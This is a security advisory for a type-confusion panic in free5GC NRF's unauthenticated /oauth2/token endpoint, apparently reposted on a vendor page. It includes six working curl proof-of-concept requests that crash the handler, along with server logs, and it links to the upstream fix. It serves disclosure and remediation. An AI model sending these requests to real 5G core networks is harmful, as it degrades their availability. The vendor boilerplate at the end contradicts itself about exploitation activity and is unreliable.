Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-f8qv-7x5w-qr48
No affected components available
Summary
free5GC's NRF root SBI endpoint POST /oauth2/token contains a parser-level type-confusion bug family. The handler in NFs/nrf/internal/sbi/api_accesstoken.go reflects over models.NrfAccessTokenAccessTokenReq, special-cases only plain string and NrfNfManagementNfType fields, and treats every other field as if it were a single models.PlmnId. The parsed *models.PlmnId is then assigned with reflect.Value.Set() to whichever field name the attacker put in the form body, which panics whenever the destination field's real type is incompatible (slice, different struct, primitive). Gin recovery converts each panic into HTTP 500, but the endpoint remains remotely panicable from a single unauthenticated form-encoded request and is repeatedly triggerable across at least 6 confirmed crashing fields.
Note: /oauth2/token is unauthenticated by design (it is the OAuth2 token-issuance endpoint). So this is NOT framed as an auth-bypass finding -- it is a parser bug on an intentionally unauthenticated SBI endpoint.
Details
Validated against the NRF container in the official Docker compose lab.
- Source repo tag:
v4.2.1 - Running Docker image:
free5gc/nrf:v4.2.1 - Docker validation date: 2026-03-22
- NRF endpoint:
http://10.100.200.3:8000
Root cause is in the access-token request parser:
NFs/nrf/internal/sbi/api_accesstoken.go:52NFs/nrf/internal/sbi/api_accesstoken.go:87NFs/nrf/internal/sbi/api_accesstoken.go:98NFs/nrf/internal/sbi/api_accesstoken.go:100NFs/nrf/internal/sbi/api_accesstoken.go:112
The model definition lives in free5gc/openapi:
models/model_nrf_access_token_access_token_req.go:27models/model_nrf_access_token_access_token_req.go:29models/model_nrf_access_token_access_token_req.go:30models/model_nrf_access_token_access_token_req.go:31
The parser's effective shape is: parse value as *models.PlmnId, then dstField.Set(reflect.ValueOf(parsedPlmnId)). Every destination field that is NOT string and NOT NrfNfManagementNfType falls into this branch, so any time the destination is a slice ([]models.PlmnId, []models.Snssai, []models.PlmnIdNid, []string) or a different pointer type (*models.PlmnIdNid), the reflect.Set call panics with a runtime type-confusion error.
Confirmed crashing fields in this DoS family (all reachable from a single unauthenticated form-encoded POST):
requesterPlmnList-> panic assigning*models.PlmnIdto[]models.PlmnIdrequesterSnssaiList-> panic assigning*models.PlmnIdto[]models.SnssairequesterSnpnList-> panic assigning*models.PlmnIdto[]models.PlmnIdNidtargetSnpn-> panic assigning*models.PlmnIdto*models.PlmnIdNidtargetSnssaiList-> panic assigning*models.PlmnIdto[]models.SnssaitargetNsiList-> panic assigning*models.PlmnIdto[]string
PoC
Reproduced end-to-end against the running NRF at http://10.100.200.3:8000. Each of the following single requests independently crashes the handler.
requesterPlmnList->[]models.PlmnIdmismatch:
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'requesterPlmnList={"mcc":"208","mnc":"93"}'
requesterSnssaiList->[]models.Snssaimismatch:
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'requesterSnssaiList={"mcc":"208","mnc":"93"}'
requesterSnpnList->[]models.PlmnIdNidmismatch:
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'requesterSnpnList={"mcc":"208","mnc":"93"}'
targetSnpn->*models.PlmnIdNidmismatch:
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'targetSnpn={"mcc":"208","mnc":"93"}'
targetSnssaiList->[]models.Snssaimismatch:
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'targetSnssaiList={"mcc":"208","mnc":"93"}'
targetNsiList->[]stringmismatch:
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'targetNsiList={"mcc":"208","mnc":"93"}'
Observed response (per request, no body returned):
HTTP/1.1 500 Internal Server Error
Content-Length: 0
NRF container logs (docker logs nrf) confirm the reflect.Set type-confusion panic in HTTPAccessTokenRequest, with the panic message changing per field type:
[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnId
[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.Snssai
[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnIdNid
[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type *models.PlmnIdNid
[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []string
INFO][NRF][GIN] | 500 | POST | /oauth2/token |
Impact
Type-confusion panic family (CWE-843) in the form-parser of an unauthenticated, network-reachable, root token-issuance endpoint, with no input validation on field types (CWE-20) and no defensive handling of the resulting panic before reflection (CWE-755).
This is NOT framed as an auth-bypass finding: /oauth2/token is unauthenticated by design. It is also NOT a process-kill DoS: Gin recovery catches each panic and the NRF process keeps running, so legitimate clients can still get tokens between attacker requests.
What the bug realistically gives an off-path attacker:
- A reliable, unauthenticated, repeatable panic primitive on the root token endpoint, reachable from a single form-encoded POST.
- Per-request CPU + log-write cost that is materially higher than a normal validation reject (
400) would have been, because the panic generates a stack trace each time. - A class of at least 6 attacker-selectable form keys that all crash via the same root cause, so partial fixes that harden one field do not close the family.
- Sustained-attack potential: under flood, the panic-amplification can degrade NRF token issuance (more expensive than
400validation) and pollute logs / rotate out useful diagnostic history.
No Confidentiality impact (HTTP 500 with empty body, no stack trace returned to the caller). No Integrity impact (panic happens before any state change). Availability impact is limited to per-request degradation under sustained attack; a single request does not deny service to other clients.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/918 Upstream fix: https://github.com/free5gc/nrf/pull/83
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard